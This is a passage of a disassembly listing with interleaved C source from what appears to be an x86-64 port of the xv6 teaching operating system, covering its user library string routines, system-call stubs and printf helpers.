126f: 0f b6 10 movzbl (%rax),%edx
1272: 48 8b 45 f0 mov -0x10(%rbp),%rax
1276: 0f b6 00 movzbl (%rax),%eax
1279: 38 c2 cmp %al,%dl
127b: 74 d9 je 1256 <strcmp+0x16>
return (uchar)*p - (uchar)*q;
127d: 48 8b 45 f8 mov -0x8(%rbp),%rax
1281: 0f b6 00 movzbl (%rax),%eax
1284: 0f b6 d0 movzbl %al,%edx
1287: 48 8b 45 f0 mov -0x10(%rbp),%rax
128b: 0f b6 00 movzbl (%rax),%eax
128e: 0f b6 c0 movzbl %al,%eax
1291: 29 c2 sub %eax,%edx
1293: 89 d0 mov %edx,%eax
}
1295: c9 leaveq
1296: c3 retq
0000000000001297 <strlen>:
uint
strlen(char *s)
{
1297: f3 0f 1e fa endbr64
129b: 55 push %rbp
129c: 48 89 e5 mov %rsp,%rbp
129f: 48 83 ec 18 sub $0x18,%rsp
12a3: 48 89 7d e8 mov %rdi,-0x18(%rbp)
int n;
for(n = 0; s[n]; n++)
12a7: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
12ae: eb 04 jmp 12b4 <strlen+0x1d>
12b0: 83 45 fc 01 addl $0x1,-0x4(%rbp)
12b4: 8b 45 fc mov -0x4(%rbp),%eax
12b7: 48 63 d0 movslq %eax,%rdx
12ba: 48 8b 45 e8 mov -0x18(%rbp),%rax
12be: 48 01 d0 add %rdx,%rax
12c1: 0f b6 00 movzbl (%rax),%eax
12c4: 84 c0 test %al,%al
12c6: 75 e8 jne 12b0 <strlen+0x19>
;
return n;
12c8: 8b 45 fc mov -0x4(%rbp),%eax
}
12cb: c9 leaveq
12cc: c3 retq
00000000000012cd <memset>:
void*
memset(void *dst, int c, uint n)
{
12cd: f3 0f 1e fa endbr64
12d1: 55 push %rbp
12d2: 48 89 e5 mov %rsp,%rbp
12d5: 48 83 ec 10 sub $0x10,%rsp
12d9: 48 89 7d f8 mov %rdi,-0x8(%rbp)
12dd: 89 75 f4 mov %esi,-0xc(%rbp)
12e0: 89 55 f0 mov %edx,-0x10(%rbp)
stosb(dst, c, n);
12e3: 8b 55 f0 mov -0x10(%rbp),%edx
12e6: 8b 4d f4 mov -0xc(%rbp),%ecx
12e9: 48 8b 45 f8 mov -0x8(%rbp),%rax
12ed: 89 ce mov %ecx,%esi
12ef: 48 89 c7 mov %rax,%rdi
12f2: 48 b8 bf 11 00 00 00 movabs $0x11bf,%rax
12f9: 00 00 00
12fc: ff d0 callq *%rax
return dst;
12fe: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
1302: c9 leaveq
1303: c3 retq
0000000000001304 <strchr>:
char*
strchr(const char *s, char c)
{
1304: f3 0f 1e fa endbr64
1308: 55 push %rbp
1309: 48 89 e5 mov %rsp,%rbp
130c: 48 83 ec 10 sub $0x10,%rsp
1310: 48 89 7d f8 mov %rdi,-0x8(%rbp)
1314: 89 f0 mov %esi,%eax
1316: 88 45 f4 mov %al,-0xc(%rbp)
for(; *s; s++)
1319: eb 17 jmp 1332 <strchr+0x2e>
if(*s == c)
131b: 48 8b 45 f8 mov -0x8(%rbp),%rax
131f: 0f b6 00 movzbl (%rax),%eax
1322: 38 45 f4 cmp %al,-0xc(%rbp)
1325: 75 06 jne 132d <strchr+0x29>
return (char*)s;
1327: 48 8b 45 f8 mov -0x8(%rbp),%rax
132b: eb 15 jmp 1342 <strchr+0x3e>
for(; *s; s++)
132d: 48 83 45 f8 01 addq $0x1,-0x8(%rbp)
1332: 48 8b 45 f8 mov -0x8(%rbp),%rax
1336: 0f b6 00 movzbl (%rax),%eax
1339: 84 c0 test %al,%al
133b: 75 de jne 131b <strchr+0x17>
return 0;
133d: b8 00 00 00 00 mov $0x0,%eax
}
1342: c9 leaveq
1343: c3 retq
0000000000001344 <gets>:
char*
gets(char *buf, int max)
{
1344: f3 0f 1e fa endbr64
1348: 55 push %rbp
1349: 48 89 e5 mov %rsp,%rbp
134c: 48 83 ec 20 sub $0x20,%rsp
1350: 48 89 7d e8 mov %rdi,-0x18(%rbp)
1354: 89 75 e4 mov %esi,-0x1c(%rbp)
int i, cc;
char c;
for(i=0; i+1 < max; ){
1357: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
135e: eb 4f jmp 13af <gets+0x6b>
cc = read(0, &c, 1);
1360: 48 8d 45 f7 lea -0x9(%rbp),%rax
1364: ba 01 00 00 00 mov $0x1,%edx
1369: 48 89 c6 mov %rax,%rsi
136c: bf 00 00 00 00 mov $0x0,%edi
1371: 48 b8 29 15 00 00 00 movabs $0x1529,%rax
1378: 00 00 00
137b: ff d0 callq *%rax
137d: 89 45 f8 mov %eax,-0x8(%rbp)
if(cc < 1)
1380: 83 7d f8 00 cmpl $0x0,-0x8(%rbp)
1384: 7e 36 jle 13bc <gets+0x78>
break;
buf[i++] = c;
1386: 8b 45 fc mov -0x4(%rbp),%eax
1389: 8d 50 01 lea 0x1(%rax),%edx
138c: 89 55 fc mov %edx,-0x4(%rbp)
138f: 48 63 d0 movslq %eax,%rdx
1392: 48 8b 45 e8 mov -0x18(%rbp),%rax
1396: 48 01 c2 add %rax,%rdx
1399: 0f b6 45 f7 movzbl -0x9(%rbp),%eax
139d: 88 02 mov %al,(%rdx)
if(c == '\n' || c == '\r')
139f: 0f b6 45 f7 movzbl -0x9(%rbp),%eax
13a3: 3c 0a cmp $0xa,%al
13a5: 74 16 je 13bd <gets+0x79>
13a7: 0f b6 45 f7 movzbl -0x9(%rbp),%eax
13ab: 3c 0d cmp $0xd,%al
13ad: 74 0e je 13bd <gets+0x79>
for(i=0; i+1 < max; ){
13af: 8b 45 fc mov -0x4(%rbp),%eax
13b2: 83 c0 01 add $0x1,%eax
13b5: 39 45 e4 cmp %eax,-0x1c(%rbp)
13b8: 7f a6 jg 1360 <gets+0x1c>
13ba: eb 01 jmp 13bd <gets+0x79>
break;
13bc: 90 nop
break;
}
buf[i] = '\0';
13bd: 8b 45 fc mov -0x4(%rbp),%eax
13c0: 48 63 d0 movslq %eax,%rdx
13c3: 48 8b 45 e8 mov -0x18(%rbp),%rax
13c7: 48 01 d0 add %rdx,%rax
13ca: c6 00 00 movb $0x0,(%rax)
return buf;
13cd: 48 8b 45 e8 mov -0x18(%rbp),%rax
}
13d1: c9 leaveq
13d2: c3 retq
00000000000013d3 <stat>:
int
stat(char *n, struct stat *st)
{
13d3: f3 0f 1e fa endbr64
13d7: 55 push %rbp
13d8: 48 89 e5 mov %rsp,%rbp
13db: 48 83 ec 20 sub $0x20,%rsp
13df: 48 89 7d e8 mov %rdi,-0x18(%rbp)
13e3: 48 89 75 e0 mov %rsi,-0x20(%rbp)
int fd;
int r;
fd = open(n, O_RDONLY);
13e7: 48 8b 45 e8 mov -0x18(%rbp),%rax
13eb: be 00 00 00 00 mov $0x0,%esi
13f0: 48 89 c7 mov %rax,%rdi
13f3: 48 b8 6a 15 00 00 00 movabs $0x156a,%rax
13fa: 00 00 00
13fd: ff d0 callq *%rax
13ff: 89 45 fc mov %eax,-0x4(%rbp)
if(fd < 0)
1402: 83 7d fc 00 cmpl $0x0,-0x4(%rbp)
1406: 79 07 jns 140f <stat+0x3c>
return -1;
1408: b8 ff ff ff ff mov $0xffffffff,%eax
140d: eb 2f jmp 143e <stat+0x6b>
r = fstat(fd, st);
140f: 48 8b 55 e0 mov -0x20(%rbp),%rdx
1413: 8b 45 fc mov -0x4(%rbp),%eax
1416: 48 89 d6 mov %rdx,%rsi
1419: 89 c7 mov %eax,%edi
141b: 48 b8 91 15 00 00 00 movabs $0x1591,%rax
1422: 00 00 00
1425: ff d0 callq *%rax
1427: 89 45 f8 mov %eax,-0x8(%rbp)
close(fd);
142a: 8b 45 fc mov -0x4(%rbp),%eax
142d: 89 c7 mov %eax,%edi
142f: 48 b8 43 15 00 00 00 movabs $0x1543,%rax
1436: 00 00 00
1439: ff d0 callq *%rax
return r;
143b: 8b 45 f8 mov -0x8(%rbp),%eax
}
143e: c9 leaveq
143f: c3 retq
0000000000001440 <atoi>:
int
atoi(const char *s)
{
1440: f3 0f 1e fa endbr64
1444: 55 push %rbp
1445: 48 89 e5 mov %rsp,%rbp
1448: 48 83 ec 18 sub $0x18,%rsp
144c: 48 89 7d e8 mov %rdi,-0x18(%rbp)
int n;
n = 0;
1450: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
while('0' <= *s && *s <= '9')
1457: eb 28 jmp 1481 <atoi+0x41>
n = n*10 + *s++ - '0';
1459: 8b 55 fc mov -0x4(%rbp),%edx
145c: 89 d0 mov %edx,%eax
145e: c1 e0 02 shl $0x2,%eax
1461: 01 d0 add %edx,%eax
1463: 01 c0 add %eax,%eax
1465: 89 c1 mov %eax,%ecx
1467: 48 8b 45 e8 mov -0x18(%rbp),%rax
146b: 48 8d 50 01 lea 0x1(%rax),%rdx
146f: 48 89 55 e8 mov %rdx,-0x18(%rbp)
1473: 0f b6 00 movzbl (%rax),%eax
1476: 0f be c0 movsbl %al,%eax
1479: 01 c8 add %ecx,%eax
147b: 83 e8 30 sub $0x30,%eax
147e: 89 45 fc mov %eax,-0x4(%rbp)
while('0' <= *s && *s <= '9')
1481: 48 8b 45 e8 mov -0x18(%rbp),%rax
1485: 0f b6 00 movzbl (%rax),%eax
1488: 3c 2f cmp $0x2f,%al
148a: 7e 0b jle 1497 <atoi+0x57>
148c: 48 8b 45 e8 mov -0x18(%rbp),%rax
1490: 0f b6 00 movzbl (%rax),%eax
1493: 3c 39 cmp $0x39,%al
1495: 7e c2 jle 1459 <atoi+0x19>
return n;
1497: 8b 45 fc mov -0x4(%rbp),%eax
}
149a: c9 leaveq
149b: c3 retq
000000000000149c <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
149c: f3 0f 1e fa endbr64
14a0: 55 push %rbp
14a1: 48 89 e5 mov %rsp,%rbp
14a4: 48 83 ec 28 sub $0x28,%rsp
14a8: 48 89 7d e8 mov %rdi,-0x18(%rbp)
14ac: 48 89 75 e0 mov %rsi,-0x20(%rbp)
14b0: 89 55 dc mov %edx,-0x24(%rbp)
char *dst, *src;
dst = vdst;
14b3: 48 8b 45 e8 mov -0x18(%rbp),%rax
14b7: 48 89 45 f8 mov %rax,-0x8(%rbp)
src = vsrc;
14bb: 48 8b 45 e0 mov -0x20(%rbp),%rax
14bf: 48 89 45 f0 mov %rax,-0x10(%rbp)
while(n-- > 0)
14c3: eb 1d jmp 14e2 <memmove+0x46>
*dst++ = *src++;
14c5: 48 8b 55 f0 mov -0x10(%rbp),%rdx
14c9: 48 8d 42 01 lea 0x1(%rdx),%rax
14cd: 48 89 45 f0 mov %rax,-0x10(%rbp)
14d1: 48 8b 45 f8 mov -0x8(%rbp),%rax
14d5: 48 8d 48 01 lea 0x1(%rax),%rcx
14d9: 48 89 4d f8 mov %rcx,-0x8(%rbp)
14dd: 0f b6 12 movzbl (%rdx),%edx
14e0: 88 10 mov %dl,(%rax)
while(n-- > 0)
14e2: 8b 45 dc mov -0x24(%rbp),%eax
14e5: 8d 50 ff lea -0x1(%rax),%edx
14e8: 89 55 dc mov %edx,-0x24(%rbp)
14eb: 85 c0 test %eax,%eax
14ed: 7f d6 jg 14c5 <memmove+0x29>
return vdst;
14ef: 48 8b 45 e8 mov -0x18(%rbp),%rax
}
14f3: c9 leaveq
14f4: c3 retq
00000000000014f5 <fork>:
mov $SYS_ ## name, %rax; \
mov %rcx, %r10 ;\
syscall ;\
ret
SYSCALL(fork)
14f5: 48 c7 c0 01 00 00 00 mov $0x1,%rax
14fc: 49 89 ca mov %rcx,%r10
14ff: 0f 05 syscall
1501: c3 retq
0000000000001502 <exit>:
SYSCALL(exit)
1502: 48 c7 c0 02 00 00 00 mov $0x2,%rax
1509: 49 89 ca mov %rcx,%r10
150c: 0f 05 syscall
150e: c3 retq
000000000000150f <wait>:
SYSCALL(wait)
150f: 48 c7 c0 03 00 00 00 mov $0x3,%rax
1516: 49 89 ca mov %rcx,%r10
1519: 0f 05 syscall
151b: c3 retq
000000000000151c <pipe>:
SYSCALL(pipe)
151c: 48 c7 c0 04 00 00 00 mov $0x4,%rax
1523: 49 89 ca mov %rcx,%r10
1526: 0f 05 syscall
1528: c3 retq
0000000000001529 <read>:
SYSCALL(read)
1529: 48 c7 c0 05 00 00 00 mov $0x5,%rax
1530: 49 89 ca mov %rcx,%r10
1533: 0f 05 syscall
1535: c3 retq
0000000000001536 <write>:
SYSCALL(write)
1536: 48 c7 c0 10 00 00 00 mov $0x10,%rax
153d: 49 89 ca mov %rcx,%r10
1540: 0f 05 syscall
1542: c3 retq
0000000000001543 <close>:
SYSCALL(close)
1543: 48 c7 c0 15 00 00 00 mov $0x15,%rax
154a: 49 89 ca mov %rcx,%r10
154d: 0f 05 syscall
154f: c3 retq
0000000000001550 <kill>:
SYSCALL(kill)
1550: 48 c7 c0 06 00 00 00 mov $0x6,%rax
1557: 49 89 ca mov %rcx,%r10
155a: 0f 05 syscall
155c: c3 retq
000000000000155d <exec>:
SYSCALL(exec)
155d: 48 c7 c0 07 00 00 00 mov $0x7,%rax
1564: 49 89 ca mov %rcx,%r10
1567: 0f 05 syscall
1569: c3 retq
000000000000156a <open>:
SYSCALL(open)
156a: 48 c7 c0 0f 00 00 00 mov $0xf,%rax
1571: 49 89 ca mov %rcx,%r10
1574: 0f 05 syscall
1576: c3 retq
0000000000001577 <mknod>:
SYSCALL(mknod)
1577: 48 c7 c0 11 00 00 00 mov $0x11,%rax
157e: 49 89 ca mov %rcx,%r10
1581: 0f 05 syscall
1583: c3 retq
0000000000001584 <unlink>:
SYSCALL(unlink)
1584: 48 c7 c0 12 00 00 00 mov $0x12,%rax
158b: 49 89 ca mov %rcx,%r10
158e: 0f 05 syscall
1590: c3 retq
0000000000001591 <fstat>:
SYSCALL(fstat)
1591: 48 c7 c0 08 00 00 00 mov $0x8,%rax
1598: 49 89 ca mov %rcx,%r10
159b: 0f 05 syscall
159d: c3 retq
000000000000159e <link>:
SYSCALL(link)
159e: 48 c7 c0 13 00 00 00 mov $0x13,%rax
15a5: 49 89 ca mov %rcx,%r10
15a8: 0f 05 syscall
15aa: c3 retq
00000000000015ab <mkdir>:
SYSCALL(mkdir)
15ab: 48 c7 c0 14 00 00 00 mov $0x14,%rax
15b2: 49 89 ca mov %rcx,%r10
15b5: 0f 05 syscall
15b7: c3 retq
00000000000015b8 <chdir>:
SYSCALL(chdir)
15b8: 48 c7 c0 09 00 00 00 mov $0x9,%rax
15bf: 49 89 ca mov %rcx,%r10
15c2: 0f 05 syscall
15c4: c3 retq
00000000000015c5 <dup>:
SYSCALL(dup)
15c5: 48 c7 c0 0a 00 00 00 mov $0xa,%rax
15cc: 49 89 ca mov %rcx,%r10
15cf: 0f 05 syscall
15d1: c3 retq
00000000000015d2 <getpid>:
SYSCALL(getpid)
15d2: 48 c7 c0 0b 00 00 00 mov $0xb,%rax
15d9: 49 89 ca mov %rcx,%r10
15dc: 0f 05 syscall
15de: c3 retq
00000000000015df <sbrk>:
SYSCALL(sbrk)
15df: 48 c7 c0 0c 00 00 00 mov $0xc,%rax
15e6: 49 89 ca mov %rcx,%r10
15e9: 0f 05 syscall
15eb: c3 retq
00000000000015ec <sleep>:
SYSCALL(sleep)
15ec: 48 c7 c0 0d 00 00 00 mov $0xd,%rax
15f3: 49 89 ca mov %rcx,%r10
15f6: 0f 05 syscall
15f8: c3 retq
00000000000015f9 <uptime>:
SYSCALL(uptime)
15f9: 48 c7 c0 0e 00 00 00 mov $0xe,%rax
1600: 49 89 ca mov %rcx,%r10
1603: 0f 05 syscall
1605: c3 retq
0000000000001606 <aread>:
SYSCALL(aread)
1606: 48 c7 c0 16 00 00 00 mov $0x16,%rax
160d: 49 89 ca mov %rcx,%r10
1610: 0f 05 syscall
1612: c3 retq
0000000000001613 <putc>:
#include <stdarg.h>
static void
putc(int fd, char c)
{
1613: f3 0f 1e fa endbr64
1617: 55 push %rbp
1618: 48 89 e5 mov %rsp,%rbp
161b: 48 83 ec 10 sub $0x10,%rsp
161f: 89 7d fc mov %edi,-0x4(%rbp)
1622: 89 f0 mov %esi,%eax
1624: 88 45 f8 mov %al,-0x8(%rbp)
write(fd, &c, 1);
1627: 48 8d 4d f8 lea -0x8(%rbp),%rcx
162b: 8b 45 fc mov -0x4(%rbp),%eax
162e: ba 01 00 00 00 mov $0x1,%edx
1633: 48 89 ce mov %rcx,%rsi
1636: 89 c7 mov %eax,%edi
1638: 48 b8 36 15 00 00 00 movabs $0x1536,%rax
163f: 00 00 00
1642: ff d0 callq *%rax
}
1644: 90 nop
1645: c9 leaveq
1646: c3 retq
0000000000001647 <print_x64>:
static char digits[] = "0123456789abcdef";
static void
print_x64(int fd, addr_t x)
{
1647: f3 0f 1e fa endbr64
164b: 55 push %rbp
164c: 48 89 e5 mov %rsp,%rbp
164f: 48 83 ec 20 sub $0x20,%rsp
1653: 89 7d ec mov %edi,-0x14(%rbp)
1656: 48 89 75 e0 mov %rsi,-0x20(%rbp)
int i;
for (i = 0; i < (sizeof(addr_t) * 2); i++, x <<= 4)
165a: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
1661: eb 35 jmp 1698 <print_x64+0x51>
putc(fd, digits[x >> (sizeof(addr_t) * 8 - 4)]);
1663: 48 8b 45 e0 mov -0x20(%rbp),%rax
1667: 48 c1 e8 3c shr $0x3c,%rax
166b: 48 ba 70 22 00 00 00 movabs $0x2270,%rdx
1672: 00 00 00
1675: 0f b6 04 02 movzbl (%rdx,%rax,1),%eax
1679: 0f be d0 movsbl %al,%edx
167c: 8b 45 ec mov -0x14(%rbp),%eax
167f: 89 d6 mov %edx,%esi
1681: 89 c7 mov %eax,%edi
1683: 48 b8 13 16 00 00 00 movabs $0x1613,%rax
168a: 00 00 00
168d: ff d0 callq *%rax
for (i = 0; i < (sizeof(addr_t) * 2); i++, x <<= 4)
168f: 83 45 fc 01 addl $0x1,-0x4(%rbp)
1693: 48 c1 65 e0 04 shlq $0x4,-0x20(%rbp)
1698: 8b 45 fc mov -0x4(%rbp),%eax
169b: 83 f8 0f cmp $0xf,%eax
169e: 76 c3 jbe 1663 <print_x64+0x1c>
}
16a0: 90 nop
16a1: 90 nop
16a2: c9 leaveq
16a3: c3 retq
00000000000016a4 <print_x32>:
static void
print_x32(int fd, uint x)
{
16a4: f3 0f 1e fa endbr64
16a8: 55 push %rbp
16a9: 48 89 e5 mov %rsp,%rbp
16ac: 48 83 ec 20 sub $0x20,%rsp
16b0: 89 7d ec mov %edi,-0x14(%rbp)
16b3: 89 75 e8 mov %esi,-0x18(%rbp)
int i;
for (i = 0; i < (sizeof(uint) * 2); i++, x <<= 4)
16b6: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
16bd: eb 36 jmp 16f5 <print_x32+0x51>
putc(fd, digits[x >> (sizeof(uint) * 8 - 4)]);
16bf: 8b 45 e8 mov -0x18(%rbp),%eax
16c2: c1 e8 1c shr $0x1c,%eax
16c5: 89 c2 mov %eax,%edx
16c7: 48 b8 70 22 00 00 00 movabs $0x2270,%rax
16ce: 00 00 00
16d1: 89 d2 mov %edx,%edx
16d3: 0f b6 04 10 movzbl (%rax,%rdx,1),%eax
16d7: 0f be d0 movsbl %al,%edx
16da: 8b 45 ec mov -0x14(%rbp),%eax
16dd: 89 d6 mov %edx,%esi
16df: 89 c7 mov %eax,%edi
16e1: 48 b8 13 16 00 00 00 movabs $0x1613,%rax
16e8: 00 00 00
16eb: ff d0 callq *%rax
for (i = 0; i < (sizeof(uint) * 2); i++, x <<= 4)
16ed: 83 45 fc 01 addl $0x1,-0x4(%rbp)
16f1: c1 65 e8 04 shll $0x4,-0x18(%rbp)
16f5: 8b 45 fc mov -0x4(%rbp),%eax
16f8: 83 f8 07 cmp $0x7,%eax
16fb: 76 c2 jbe 16bf <print_x32+0x1b>
}
16fd: 90 nop
16fe: 90 nop
16ff: c9 leaveq
1700: c3 retq
0000000000001701 <print_d>:
static void
print_d(int fd, int v)
{
1701: f3 0f 1e fa endbr64
1705: 55 push %rbp
1706: 48 89 e5 mov %rsp,%rbp
1709: 48 83 ec 30 sub $0x30,%rsp
170d: 89 7d dc mov %edi,-0x24(%rbp)
1710: 89 75 d8 mov %esi,-0x28(%rbp)
char buf[16];
int64 x = v;
1713: 8b 45 d8 mov -0x28(%rbp),%eax
1716: 48 98 cltq
1718: 48 89 45 f8 mov %rax,-0x8(%rbp)
if (v < 0)
171c: 83 7d d8 00 cmpl $0x0,-0x28(%rbp)
1720: 79 04 jns 1726 <print_d+0x25>
x = -x;
1722: 48 f7 5d f8 negq -0x8(%rbp)
int i = 0;
1726: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%rbp)
do {
buf[i++] = digits[x % 10];
172d: 48 8b 4d f8 mov -0x8(%rbp),%rcx
1731: 48 ba 67 66 66 66 66 movabs $0x6666666666666667,%rdx
1738: 66 66 66
173b: 48 89 c8 mov %rcx,%rax
173e: 48 f7 ea imul %rdx
1741: 48 c1 fa 02 sar $0x2,%rdx
1745: 48 89 c8 mov %rcx,%rax
1748: 48 c1 f8 3f sar $0x3f,%rax
174c: 48 29 c2 sub %rax,%rdx
174f: 48 89 d0 mov %rdx,%rax
1752: 48 c1 e0 02 shl $0x2,%rax
1756: 48 01 d0 add %rdx,%rax
1759: 48 01 c0 add %rax,%rax
175c: 48 29 c1 sub %rax,%rcx
175f: 48 89 ca mov %rcx,%rdx
1762: 8b 45 f4 mov -0xc(%rbp),%eax
1765: 8d 48 01 lea 0x1(%rax),%ecx
1768: 89 4d f4 mov %ecx,-0xc(%rbp)
176b: 48 b9 70 22 00 00 00 movabs $0x2270,%rcx
1772: 00 00 00
1775: 0f b6 14 11 movzbl (%rcx,%rdx,1),%edx
1779: 48 98 cltq
177b: 88 54 05 e0 mov %dl,-0x20(%rbp,%rax,1)
x /= 10;
177f: 48 8b 4d f8 mov -0x8(%rbp),%rcx
1783: 48 ba 67 66 66 66 66 movabs $0x6666666666666667,%rdx
178a: 66 66 66
178d: 48 89 c8 mov %rcx,%rax
1790: 48 f7 ea imul %rdx
1793: 48 c1 fa 02 sar $0x2,%rdx
1797: 48 89 c8 mov %rcx,%rax
179a: 48 c1 f8 3f sar $0x3f,%rax
179e: 48 29 c2 sub %rax,%rdx
17a1: 48 89 d0 mov %rdx,%rax
17a4: 48 89 45 f8 mov %rax,-0x8(%rbp)
} while(x != 0);
17a8: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
17ad: 0f 85 7a ff ff ff jne 172d <print_d+0x2c>
if (v < 0)
17b3: 83 7d d8 00 cmpl $0x0,-0x28(%rbp)
17b7: 79 32 jns 17eb <print_d+0xea>
buf[i++] = '-';
17b9: 8b 45 f4 mov -0xc(%rbp),%eax
17bc: 8d 50 01 lea 0x1(%rax),%edx
17bf: 89 55 f4 mov %edx,-0xc(%rbp)
17c2: 48 98 cltq
17c4: c6 44 05 e0 2d movb $0x2d,-0x20(%rbp,%rax,1)
while (--i >= 0)
17c9: eb 20 jmp 17eb <print_d+0xea>
putc(fd, buf[i]);
17cb: 8b 45 f4 mov -0xc(%rbp),%eax
17ce: 48 98 cltq
17d0: 0f b6 44 05 e0 movzbl -0x20(%rbp,%rax,1),%eax
17d5: 0f be d0 movsbl %al,%edx
17d8: 8b 45 dc mov -0x24(%rbp),%eax
17db: 89 d6 mov %edx,%esi
17dd: 89 c7 mov %eax,%edi
17df: 48 b8 13 16 00 00 00 movabs $0x1613,%rax
17e6: 00 00 00
17e9: ff d0 callq *%rax
while (--i >= 0)
17eb: 83 6d f4 01 subl $0x1,-0xc(%rbp)
17ef: 83 7d f4 00 cmpl $0x0,-0xc(%rbp)
17f3: 79 d6 jns 17cb <print_d+0xca>
}
17f5: 90 nop
17f6: 90 nop
17f7: c9 leaveq
17f8: c3 retq
00000000000017f9 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
17f9: f3 0f 1e fa endbr64
17fd: 55 push %rbp
17fe: 48 89 e5 mov %rsp,%rbp
1801: 48 81 ec f0 00 00 00 sub $0xf0,%rsp
1808: 89 bd 1c ff ff ff mov %edi,-0xe4(%rbp)
180e: 48 89 b5 10 ff ff ff mov %rsi,-0xf0(%rbp)
1815: 48 89 95 60 ff ff ff mov %rdx,-0xa0(%rbp)
181c: 48 89 8d 68 ff ff ff mov %rcx,-0x98(%rbp)
1823: 4c 89 85 70 ff ff ff mov %r8,-0x90(%rbp)
182a: 4c 89 8d 78 ff ff ff mov %r9,-0x88(%rbp)
1831: 84 c0 test %al,%al
1833: 74 20 je 1855 <printf+0x5c>
1835: 0f 29 45 80 movaps %xmm0,-0x80(%rbp)
1839: 0f 29 4d 90 movaps %xmm1,-0x70(%rbp)
183d: 0f 29 55 a0 movaps %xmm2,-0x60(%rbp)
1841: 0f 29 5d b0 movaps %xmm3,-0x50(%rbp)
1845: 0f 29 65 c0 movaps %xmm4,-0x40(%rbp)
1849: 0f 29 6d d0 movaps %xmm5,-0x30(%rbp)
184d: 0f 29 75 e0 movaps %xmm6,-0x20(%rbp)
1851: 0f 29 7d f0 movaps %xmm7,-0x10(%rbp)
va_list ap;
int i, c;
char *s;
va_start(ap, fmt);
1855: c7 85 20 ff ff ff 10 movl $0x10,-0xe0(%rbp)
185c: 00 00 00
185f: c7 85 24 ff ff ff 30 movl $0x30,-0xdc(%rbp)
1866: 00 00 00
1869: 48 8d 45 10 lea 0x10(%rbp),%rax
186d: 48 89 85 28 ff ff ff mov %rax,-0xd8(%rbp)
1874: 48 8d 85 50 ff ff ff lea -0xb0(%rbp),%rax
187b: 48 89 85 30 ff ff ff mov %rax,-0xd0(%rbp)
for (i = 0; (c = fmt[i] & 0xff) != 0; i++) {
1882: c7 85 4c ff ff ff 00 movl $0x0,-0xb4(%rbp)
1889: 00 00 00
188c: e9 41 03 00 00 jmpq 1bd2 <printf+0x3d9>
if (c != '%') {
1891: 83 bd 3c ff ff ff 25 cmpl $0x25,-0xc4(%rbp)
1898: 74 24 je 18be <printf+0xc5>
putc(fd, c);
189a: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax
18a0: 0f be d0 movsbl %al,%edx
18a3: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
18a9: 89 d6 mov %edx,%esi
18ab: 89 c7 mov %eax,%edi
18ad: 48 b8 13 16 00 00 00 movabs $0x1613,%rax
18b4: 00 00 00
18b7: ff d0 callq *%rax
continue;
18b9: e9 0d 03 00 00 jmpq 1bcb <printf+0x3d2>
}
c = fmt[++i] & 0xff;
18be: 83 85 4c ff ff ff 01 addl $0x1,-0xb4(%rbp)
18c5: 8b 85 4c ff ff ff mov -0xb4(%rbp),%eax
18cb: 48 63 d0 movslq %eax,%rdx
18ce: 48 8b 85 10 ff ff ff mov -0xf0(%rbp),%rax
18d5: 48 01 d0 add %rdx,%rax
18d8: 0f b6 00 movzbl (%rax),%eax
18db: 0f be c0 movsbl %al,%eax
18de: 25 ff 00 00 00 and $0xff,%eax
18e3: 89 85 3c ff ff ff mov %eax,-0xc4(%rbp)
if (c == 0)
18e9: 83 bd 3c ff ff ff 00 cmpl $0x0,-0xc4(%rbp)
18f0: 0f 84 0f 03 00 00 je 1c05 <printf+0x40c>
break;
switch(c) {
18f6: 83 bd 3c ff ff ff 25 cmpl $0x25,-0xc4(%rbp)
18fd: 0f 84 74 02 00 00 je 1b77 <printf+0x37e>
1903: 83 bd 3c ff ff ff 25 cmpl $0x25,-0xc4(%rbp)
190a: 0f 8c 82 02 00 00 jl 1b92 <printf+0x399>
1910: 83 bd 3c ff ff ff 78 cmpl $0x78,-0xc4(%rbp)
1917: 0f 8f 75 02 00 00 jg 1b92 <printf+0x399>
191d: 83 bd 3c ff ff ff 63 cmpl $0x63,-0xc4(%rbp)
1924: 0f 8c 68 02 00 00 jl 1b92 <printf+0x399>
192a: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax
1930: 83 e8 63 sub $0x63,%eax
1933: 83 f8 15 cmp $0x15,%eax
1936: 0f 87 56 02 00 00 ja 1b92 <printf+0x399>
193c: 89 c0 mov %eax,%eax
193e: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
1945: 00
1946: 48 b8 40 1f 00 00 00 movabs $0x1f40,%rax
194d: 00 00 00
1950: 48 01 d0 add %rdx,%rax
1953: 48 8b 00 mov (%rax),%rax
1956: 3e ff e0 notrack jmpq *%rax
case 'c':
putc(fd, va_arg(ap, int));
1959: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
195f: 83 f8 2f cmp $0x2f,%eax
1962: 77 23 ja 1987 <printf+0x18e>
1964: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
196b: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
1971: 89 d2 mov %edx,%edx
1973: 48 01 d0 add %rdx,%rax
1976: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
197c: 83 c2 08 add $0x8,%edx
197f: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
1985: eb 12 jmp 1999 <printf+0x1a0>
1987: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
198e: 48 8d 50 08 lea 0x8(%rax),%rdx
1992: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
1999: 8b 00 mov (%rax),%eax
199b: 0f be d0 movsbl %al,%edx
199e: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
19a4: 89 d6 mov %edx,%esi
19a6: 89 c7 mov %eax,%edi
19a8: 48 b8 13 16 00 00 00 movabs $0x1613,%rax
19af: 00 00 00
19b2: ff d0 callq *%rax
break;
19b4: e9 12 02 00 00 jmpq 1bcb <printf+0x3d2>
case 'd':
